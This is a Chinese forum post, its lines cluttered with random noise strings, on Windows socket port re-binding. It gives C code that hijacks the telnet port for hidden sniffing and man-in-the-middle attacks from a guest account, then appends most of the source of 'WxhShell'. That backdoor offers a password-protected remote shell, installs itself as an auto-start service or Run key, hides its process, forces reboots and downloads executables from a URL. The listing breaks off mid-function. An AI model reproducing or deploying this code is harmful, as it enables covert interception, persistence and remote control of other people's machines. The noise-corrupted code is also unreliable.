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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 50wulGJud  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5m 4P\y^a  
Vwf$JdK%&l  
  saddr.sin_family = AF_INET; 2\{M:\2o  
P>D)7 V9Hh  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); lNh70G8^p  
p38-l'{#  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); -f^tE,-  
b\!_cb~"@  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 m? }6)\ob  
o#Dk& cH  
  这意味着什么?意味着可以进行如下的攻击: "Gzz4D  
ZvX*t)VjTz  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 _< V)-Y  
I;(L%TT `  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) |aS.a&vwR  
B dfwa  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 -@2iaQ(5a2  
-d/ =5yxL  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  J!(<y(l  
/Cr%{'Pzk  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 8kIksy  
& J'idYD  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 }R2u@%n{  
pah'>dAL  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 R) h#Vc(  
/36:ms A  
  #include Gb6'n$g  
  #include u&vf+6=9Dd  
  #include +\]\[6  
  #include    *N<]Xy @  
  DWORD WINAPI ClientThread(LPVOID lpParam);   T?0eVvM  
  int main() h(dvZ= %  
  { Z5n1@a __  
  WORD wVersionRequested; 9.-S(ZO  
  DWORD ret; ,&.!?0+  
  WSADATA wsaData; !f [_+CD  
  BOOL val; 9cF[seE"0  
  SOCKADDR_IN saddr; ^^$s%{ep"  
  SOCKADDR_IN scaddr; q3!bky\  
  int err; #trK^(  
  SOCKET s; S%>]q s  
  SOCKET sc; bAqA1y3=  
  int caddsize; j,eo2HaL  
  HANDLE mt; LEdh!</'24  
  DWORD tid;   C,r;VyW6BI  
  wVersionRequested = MAKEWORD( 2, 2 ); Lk8ek}o'  
  err = WSAStartup( wVersionRequested, &wsaData ); g3y~bf  
  if ( err != 0 ) { {!L~@r  
  printf("error!WSAStartup failed!\n"); XpHrt XD  
  return -1; k y7Gwc  
  } N4!O.POP  
  saddr.sin_family = AF_INET; SqpaFWr  
   S,UDezxg  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 oMa6(3T?E  
?6U0PChy  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Y:[u1~a  
  saddr.sin_port = htons(23); Xx:"4l.w.  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Y$_B1_  
  { TvbE2Q;/UL  
  printf("error!socket failed!\n"); 3]S$ih&A  
  return -1; #*Ctwl,T  
  }  qX{+oy5  
  val = TRUE; 7!E,V:bt'  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 q/,O\,  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) kffcm/  
  { Wne@<+mX  
  printf("error!setsockopt failed!\n"); )SGq[B6@I  
  return -1; xy;;zOh`  
  } 5$k:t  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; a:w#s}bL  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 z2GY:<s  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Gd85kY@w7  
bk[!8- b/a  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) WNtW|I V  
  { i/Zd8+.n$  
  ret=GetLastError(); (4nq>;$3  
  printf("error!bind failed!\n"); O=7CMbS3  
  return -1; ;2QP7PrSY  
  } 3bI9Zt#J%&  
  listen(s,2); eaU  
  while(1) r~['VhI!;E  
  { Z% UP6%  
  caddsize = sizeof(scaddr); p!%pP}I  
  //接受连接请求 %xLh Z\  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); `R^gU]Z,  
  if(sc!=INVALID_SOCKET) 4*;MJ[|  
  { s eJ^s@H5l  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ns4,@C$  
  if(mt==NULL) #/37V2E  
  { jebx40TA3  
  printf("Thread Creat Failed!\n"); &K,i f  
  break; COlaD"Y  
  } 1o>xEWt:0K  
  } )V9bI(v  
  CloseHandle(mt); \~wMfP8  
  } zm;C\s rF  
  closesocket(s);  %;!.n{X  
  WSACleanup(); _)-o1`*-  
  return 0; X}0cCdW  
  }   ],].zlN  
  DWORD WINAPI ClientThread(LPVOID lpParam) I%Z  
  { <gBA1oRz  
  SOCKET ss = (SOCKET)lpParam; sDV Q#}a  
  SOCKET sc; Etm?'  
  unsigned char buf[4096]; 0{SL&<&  
  SOCKADDR_IN saddr; \73ch  
  long num; T51 `oZ`  
  DWORD val; d'sZxU  
  DWORD ret; Xn ;AZu^'R  
  //如果是隐藏端口应用的话,可以在此处加一些判断 [Vt\$  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   /Ci<xmP  
  saddr.sin_family = AF_INET; bZV/l4TU  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); a' IdYW0  
  saddr.sin_port = htons(23); :BT q!>s  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) zx7{U8*`<  
  { dgePPhj  
  printf("error!socket failed!\n"); rrv%~giU  
  return -1; L/^I*p,  
  } +nGAz{&@r%  
  val = 100; A5w6]:f2  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Du){rVY^d  
  { J$v?T$LVw  
  ret = GetLastError(); ReeH@.74  
  return -1; _J[P[(ab  
  } ;9g2?-svw  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) #3d(M  
  { wlmRe`R  
  ret = GetLastError(); t0 ?\l)  
  return -1; N}YkMJy  
  } {1 94!S4z  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) >lM l  
  { ~F7gP{r  
  printf("error!socket connect failed!\n"); ;jTN | i'  
  closesocket(sc); 8-6L|#J#  
  closesocket(ss); &iVs0R  
  return -1; WOf 4o  
  } #cLBQJq  
  while(1) \5cpFj5%  
  { ;6hOx(>`=  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 dAe')N:KPI  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 n?K  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 YT8F#t8  
  num = recv(ss,buf,4096,0); Pr,q*_Yy  
  if(num>0) 7T'B6`-Ox  
  send(sc,buf,num,0); j 1HW._G  
  else if(num==0) ?[>3QE  
  break; :p6M=  
  num = recv(sc,buf,4096,0); /JU.?M35  
  if(num>0) @AuO`I@p=  
  send(ss,buf,num,0); 8sK9G` k  
  else if(num==0) ji,kkipY?w  
  break; EAby?51+  
  } cPc</[x[W  
  closesocket(ss); O%HHYV%[m  
  closesocket(sc); `pZm?}K  
  return 0 ; Q.c\/&  
  } P}`H ~N~  
 1ZB"EQ  
9k[9P;"F:  
========================================================== "8zDbdK  
?#Q #u|~  
下边附上一个代码,,WXhSHELL 1 I",L&S1  
8|58 H  
========================================================== =zs`#-^8  
n>U5R_T  
#include "stdafx.h" z,%$+)K  
yyy|Pw4:Z  
#include <stdio.h> iM 3V=&)  
#include <string.h> 3|Xyl`i4o  
#include <windows.h> Tc3yS(aq  
#include <winsock2.h> I ?.^ho  
#include <winsvc.h> r^ ZEImjc  
#include <urlmon.h> G9<X_  
jdJ>9O0A,  
#pragma comment (lib, "Ws2_32.lib") >!)DM]Ri  
#pragma comment (lib, "urlmon.lib") vd4ytC  
R<N ]B  
#define MAX_USER   100 // 最大客户端连接数 Q6I:"2u1  
#define BUF_SOCK   200 // sock buffer i&GH/y  
#define KEY_BUFF   255 // 输入 buffer \v)+.m?n  
A1zjPG&]  
#define REBOOT     0   // 重启 /%A*aGyIc  
#define SHUTDOWN   1   // 关机  U}j0D2  
u!qP  
#define DEF_PORT   5000 // 监听端口 8 uwq-/$  
XAL1|] S  
#define REG_LEN     16   // 注册表键长度 1c{DY  
#define SVC_LEN     80   // NT服务名长度 !f&g-V  
m$T-s|SY  
// 从dll定义API 0F><P?5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7o5BXF  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); RQu(Wu|m.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -5QZJF2~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); '}bgLv  
M?uC%x+S$_  
// wxhshell配置信息 (,Df^4%7  
struct WSCFG { :${HQd+  
  int ws_port;         // 监听端口 Pdt vU-(  
  char ws_passstr[REG_LEN]; // 口令 9\JF`ff_  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]1pIj i[  
  char ws_regname[REG_LEN]; // 注册表键名 I,@6J(9  
  char ws_svcname[REG_LEN]; // 服务名 =h73s0 ]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 U H/\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?zHPJLv|Y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %UCr;H/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no M%;hB*9  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2'MZ s]??w  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^\&e:Nkh  
':m,)G5&  
}; a\ YV3NJ/A  
oJ|j#+Ft  
// default Wxhshell configuration `t'W2X  
struct WSCFG wscfg={DEF_PORT, EV@X*| w  
    "xuhuanlingzhe", uw +M  
    1, XaPV9 4  
    "Wxhshell", Qtv&ijFC  
    "Wxhshell", H6 HVu |  
            "WxhShell Service", h/hmlnOQl  
    "Wrsky Windows CmdShell Service", 5 -RsnF  
    "Please Input Your Password: ", RcU}}V  
  1, {v ;&5!s  
  "http://www.wrsky.com/wxhshell.exe", K':;%~I  
  "Wxhshell.exe" \WB<86+z  
    }; JKmIvZ)8  
C-6F]2:  
// 消息定义模块 ia E^a^*  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .I0qGg  
char *msg_ws_prompt="\n\r? for help\n\r#>"; >!bJslWA  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 0rG^,(3m  
char *msg_ws_ext="\n\rExit."; 6){]1h"  
char *msg_ws_end="\n\rQuit."; /Uy"M:|V1  
char *msg_ws_boot="\n\rReboot..."; "PTZ%7YH}  
char *msg_ws_poff="\n\rShutdown..."; !1 8clL  
char *msg_ws_down="\n\rSave to "; d,Yw5$i  
"~7>\>UFh  
char *msg_ws_err="\n\rErr!"; .|b$NM  
char *msg_ws_ok="\n\rOK!"; # ,_u_'C*!  
"x*e gI  
char ExeFile[MAX_PATH]; :hFIl0$,"3  
int nUser = 0; MWpQ^dL_  
HANDLE handles[MAX_USER]; 6vNrBB  
int OsIsNt; T)TfB(  
N&g3t%F  
SERVICE_STATUS       serviceStatus; dj7hx"BI  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; r6} |hpJ8  
Cdu4U}^H  
// 函数声明 ^N;.cY  
int Install(void); <[\`qX  
int Uninstall(void); CpeU5 o@  
int DownloadFile(char *sURL, SOCKET wsh); $oU*9}}Rn  
int Boot(int flag); dDGgvi|[Mz  
void HideProc(void); I]<_rN8~o  
int GetOsVer(void); pU%n]]qF  
int Wxhshell(SOCKET wsl); MmnOHN@.  
void TalkWithClient(void *cs); b8"?VS5-"  
int CmdShell(SOCKET sock); (SDr!!V<  
int StartFromService(void); y 4I6  
int StartWxhshell(LPSTR lpCmdLine); f~y%%+{p  
X>(TrdK_9"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); : $Y9jR  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $M lW4&a|  
-tHU6s,  
// 数据结构和表定义 luuX2Mx>o  
SERVICE_TABLE_ENTRY DispatchTable[] = mdmvT~`  
{ E.ly#2?  
{wscfg.ws_svcname, NTServiceMain}, Gh}LlX!w  
{NULL, NULL} Xti[[sJ  
}; =;3Sx::=  
/ !Wu D\B  
// 自我安装 9XyYHi  
int Install(void) {G}.b)9FG  
{ v'qG26  
  char svExeFile[MAX_PATH]; =Z+nz^'b  
  HKEY key; 7X q,z  
  strcpy(svExeFile,ExeFile); 2FF4W54I  
Nq` C.&  
// 如果是win9x系统,修改注册表设为自启动 N#7QzB9]  
if(!OsIsNt) { | e?64%l5P  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Mjfx~I27  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *x])Y~oQ  
  RegCloseKey(key); . DR<Te  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (TwnkXrR,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7,|c  
  RegCloseKey(key); Bck7\  
  return 0; C\nhqkn  
    } a /#PLP  
  } ]*FVz$>XM  
} x2z;6)  
else { 6s\Kt3=  
Q7$.LEioN  
// 如果是NT以上系统,安装为系统服务 J6%AH?Mt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2Sp=rI  
if (schSCManager!=0) 1_ C]*p  
{ H5]^ 6 HwX  
  SC_HANDLE schService = CreateService Jn3 An  
  ( . I'o  
  schSCManager, ;._7jFj.  
  wscfg.ws_svcname, F;[T#N:~  
  wscfg.ws_svcdisp, ;M#_6Hd?qD  
  SERVICE_ALL_ACCESS, {h2TD P  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , P=&o%K,:f  
  SERVICE_AUTO_START, .YnFH$;$  
  SERVICE_ERROR_NORMAL, EG0auzW?  
  svExeFile, q7Dw _<  
  NULL, CI :`<PZ\-  
  NULL, EV^~eTz  
  NULL, Ns0cgCrhX  
  NULL, }X_;X_\3;'  
  NULL ?wF'<kEH  
  ); ]f: v,a  
  if (schService!=0) n?ctLbg  
  { Ra/Ukv_v  
  CloseServiceHandle(schService); `S.ZS}~!F  
  CloseServiceHandle(schSCManager); u4neXYSy  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -0eq_+oQ  
  strcat(svExeFile,wscfg.ws_svcname); `^Eae  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { c.f"Gv  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `#QG6/0  
  RegCloseKey(key); V0(o~w/W%!  
  return 0; ]I.n\2R]om  
    } CWG6;NT6m  
  } X_G| hx  
  CloseServiceHandle(schSCManager); (N K9vW4F  
} ',4x$qe  
} |U k" {  
6PF8 /@Nh  
return 1; {d%&zvJnD  
} y}K\%;`[a  
T<joR R  
// 自我卸载 CBKkBuKuk  
int Uninstall(void) 0\~Z5k`IT  
{ dg7=X{=9jv  
  HKEY key; w[-Fm+A>  
LrV{j?2@  
if(!OsIsNt) { .E~(h*NW  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ph|ZG6:  
  RegDeleteValue(key,wscfg.ws_regname); NHgjRP z"  
  RegCloseKey(key); BtdXv4V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xf>z@)e  
  RegDeleteValue(key,wscfg.ws_regname); A +w v-~3  
  RegCloseKey(key); Q2%QLM:.,  
  return 0; \#x}q'BC4  
  } s;YKeE!8  
} b2&V  
} *Sf -; U  
else { O^I[ (8Y8  
5;TuVU.8Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); v !Kw< fp|  
if (schSCManager!=0) DrvtH+e  
{ 5NXt$k5  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); X0+fsf<H}  
  if (schService!=0) zN_:nY>  
  { LDy<k=;o  
  if(DeleteService(schService)!=0) { rt+..t\  
  CloseServiceHandle(schService); 3%<C<(  
  CloseServiceHandle(schSCManager); `wTlyS3[  
  return 0; 8Chu"PM%-J  
  } =FBpo2^QB;  
  CloseServiceHandle(schService); bv dR"G  
  } w, jcm;  
  CloseServiceHandle(schSCManager); ]`w}+B'/  
} bT!($?GNdg  
} <<|H=![  
 QI!i  
return 1; W*xX{$NL  
} h:Ndzp{  
P8gX CX!>U  
// 从指定url下载文件 FF Gqa&  
int DownloadFile(char *sURL, SOCKET wsh) Y5!b)vke  
{ H.J5i~s  
  HRESULT hr; SLk2X;c]o  
char seps[]= "/"; gw3NS8 A+  
char *token; eE/%6g  
char *file; Gwd{#7FM`  
char myURL[MAX_PATH]; -Ubj6 t_K  
char myFILE[MAX_PATH]; 2 6:evid  
^,2c-  
strcpy(myURL,sURL); cc >  
  token=strtok(myURL,seps); d\XRUO[  
  while(token!=NULL) G\Q9IcJ0dY  
  { +~|AT+|iI  
    file=token; A@$fb}CF  
  token=strtok(NULL,seps); {.#zHL ;  
  } ,\h YEup  
udTxNl!  
GetCurrentDirectory(MAX_PATH,myFILE); bGh0<r7R  
strcat(myFILE, "\\"); H$-$2?5  
strcat(myFILE, file); ?'~;Q)  
  send(wsh,myFILE,strlen(myFILE),0); d0C8*ifFO  
send(wsh,"...",3,0); coB6 rW  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); NR/-m7#-  
  if(hr==S_OK) = ?N^>zie  
return 0; CT5Y/E? }  
else Tj,Nmb>Q7'  
return 1; PF ;YE6  
{u]CHN`%Z  
} [w%#<5h  
*t =i  
// 系统电源模块 BpXEK.Xw  
int Boot(int flag) mW$ot.I  
{ 1XnBK$`  
  HANDLE hToken; >7FSH"8[,  
  TOKEN_PRIVILEGES tkp; `p"U  
[u\CDsX  
  if(OsIsNt) { Rk[8Bd?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); f sX;Nj]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]]V^:"ne  
    tkp.PrivilegeCount = 1; U~g@TfU;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Nzc>)2% N  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 'Fzuc^G(d  
if(flag==REBOOT) { ?xHtn2(q  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) WA$ p_% r=  
  return 0; i0&) N,5_  
} xfU hSt  
else { = P8~n2V  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .??rqaZ=  
  return 0; - coy@S=.'  
} ]*h&hsS 0  
  } QW:Z[?39^  
  else { Pb=rFas*C  
if(flag==REBOOT) { R^?PAHE 7  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) v*gLNB,ZH  
  return 0; .hnF]_QQ  
} K \m4*dOv  
else { `i{4cT8:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) -&~IOqlui  
  return 0; (HaU,vP  
} :EaiM J_=  
} QZ9M{Y/  
[@s=J)H  
return 1; O^Dc&w  
} /T4VJ{D  
|<7i|J  
// win9x进程隐藏模块 zh hGqz[K  
void HideProc(void) aliQ6_  
{ Hm<M@M$aG  
f@#w{W,3  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ]qF<Zw7  
  if ( hKernel != NULL ) {K6Kx36  
  { N)Qlkz$X  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); V4qZc0<,H  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :0|Hcg  
    FreeLibrary(hKernel); ] +sSg=N7i  
  } cKSfqqPm$"  
{!>E9Px  
return; 7n$AkzO0  
} W=!F8g|Qz  
{[rO2<MkA#  
// 获取操作系统版本 Zt7hzW  
int GetOsVer(void) 8p3ZF@c~ t  
{ vC s6#PR$  
  OSVERSIONINFO winfo; K7y!s :rg!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); FDZeIj9uF  
  GetVersionEx(&winfo); /,-h%gj  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) W'm!f  
  return 1; Nt?2USTs-  
  else fB@K'JQG  
  return 0; P<TpG0~(  
} (bM)Nd  
k,yc>3P;U  
// 客户端句柄模块 &! 5CwEIF  
int Wxhshell(SOCKET wsl) + 6i7,U  
{ >}xAg7\^  
  SOCKET wsh; A?^A*e  
  struct sockaddr_in client; I 0x`H)DA  
  DWORD myID; A} x_zt  
!- Cs?  
  while(nUser<MAX_USER) _3-RoA'UZr  
{ `lH1IA/3  
  int nSize=sizeof(client); 'Y~8_+J?  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); HMl!?%%  
  if(wsh==INVALID_SOCKET) return 1; ;HD 4~3   
z_)OWWdN  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); QE`:jxyad  
if(handles[nUser]==0) RPofa+  
  closesocket(wsh); . x\/XlM  
else Cw9@2E'b  
  nUser++; 1( QWt  
  } 3N)Ycf8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); P@o,4\;K  
_>Pe]3  
  return 0; ?[NTw./'7A  
} wh7i G8jCz  
~(*co[_  
// 关闭 socket 75^)Ni  
void CloseIt(SOCKET wsh) \_-kOS  
{ WsK"^"Z  
closesocket(wsh); [1Qk cR  
nUser--; 6@,'m  
ExitThread(0); 8as$h*W h  
} d=c1WK  
:"y7Weh  
// 客户端请求句柄 ^bY^x+d  
void TalkWithClient(void *cs) K2cpf  
{ l{D,O?`Av  
f"Vm'0r  
  SOCKET wsh=(SOCKET)cs; lN= m$J  
  char pwd[SVC_LEN]; }. Na{]<gh  
  char cmd[KEY_BUFF]; 1,*Z_ F=y  
char chr[1]; qKI4p3&E  
int i,j; R fVV(X  
#4|i@0n}D  
  while (nUser < MAX_USER) { nw]e_sm  
GmEJ,%A  
if(wscfg.ws_passstr) { h9)]N&07b  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (Db*.kd8,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F%ylR^H>  
  //ZeroMemory(pwd,KEY_BUFF); c?3F9 w#  
      i=0; *9U4^lJjn  
  while(i<SVC_LEN) { IZ(CRKCGBl  
$M8>SLd  
  // 设置超时 +%cr?g  
  fd_set FdRead; NXG}0`QVT  
  struct timeval TimeOut; cO"Xg<#y  
  FD_ZERO(&FdRead); oJz:uv8Pe.  
  FD_SET(wsh,&FdRead); a?Qcf;o  
  TimeOut.tv_sec=8; 3<.j`JB@&  
  TimeOut.tv_usec=0; GXv o't@N  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9rvxp;  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (qc!-Isd~[  
jP7+s.j>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Xta>  
  pwd=chr[0]; =~2 Uv>YG  
  if(chr[0]==0xd || chr[0]==0xa) { 4Xb}I;rM  
  pwd=0; uD*s^  
  break; k`J..f9  
  } 1 0Tg > H  
  i++; tEs[zo+DR-  
    } !6 fpMo  
2 DNzC7}e  
  // 如果是非法用户,关闭 socket s)'_{ A"h  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); u g$\&rM>  
} OB I8~k  
@Y<ZT;J  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); GyXs{*  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ah$7 Oudj  
hm} :Me$[)  
while(1) { 2BU)qv-  
1AEVZ@(j7  
  ZeroMemory(cmd,KEY_BUFF); nm|m1Z+U  
z?> y  
      // 自动支持客户端 telnet标准   )/i|"`)>_  
  j=0; gm\o>YclS  
  while(j<KEY_BUFF) { 3 BhA.o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ua>~$`@gX  
  cmd[j]=chr[0]; 58ZiCvqv  
  if(chr[0]==0xa || chr[0]==0xd) { JhXN8Bq33  
  cmd[j]=0; vrO$8* sy  
  break; 5z mHb  
  } )KhVUFS1  
  j++; v.&*z48  
    } o*ED!y7  
Lj* =*V  
  // 下载文件  p:>?  
  if(strstr(cmd,"http://")) { \kGtYkctZ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); v?"ee&Y6  
  if(DownloadFile(cmd,wsh)) J9t?]9.,:  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); +dpj?  
  else ^* v{t?u  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N}<U[nh'  
  } _<}5[(qu  
  else { 2*DS_=6o  
z"C(#Y56 x  
    switch(cmd[0]) { ;mKU>F<V  
  uB"m!dL  
  // 帮助 dnc!=Z89  
  case '?': { 9s6lt#?b  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $ttr_4=  
    break; &{{f|o=u.  
  } -"fq34v  
  // 安装 n|2-bRK-  
  case 'i': { KKJ[  
    if(Install()) #/=yz<B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ghR]$SG  
    else PBnn,#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7%}}m&A7h  
    break; U>jk`?zW  
    } w:@M|O4`  
  // 卸载 3YF]o9  
  case 'r': { 9+|,aG s  
    if(Uninstall()) y+x>{!pw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V]cY+4Y  
    else +~]g&Mf6o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e(N <Mf  
    break; +34jot.!  
    } Vs(Zs[  
  // 显示 wxhshell 所在路径 `W S  
  case 'p': { yKhzymS}T  
    char svExeFile[MAX_PATH]; ;$;/#8`>  
    strcpy(svExeFile,"\n\r"); G\AQql(f4  
      strcat(svExeFile,ExeFile); $^ 3 f}IzA  
        send(wsh,svExeFile,strlen(svExeFile),0); /T'nY{  
    break; He23<hd!  
    } U2u>A r  
  // 重启 X;RI7{fW%X  
  case 'b': { py4_hj\v  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 'FXZ`+r|  
    if(Boot(REBOOT)) Tr!X2#)A!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }'- )  
    else { DZZt%n8J  
    closesocket(wsh); ~'mhC46d  
    ExitThread(0); 7QFEQ}  
    } go5!zSs  
    break; ,' B=eY,  
    } w!M ^p&T7  
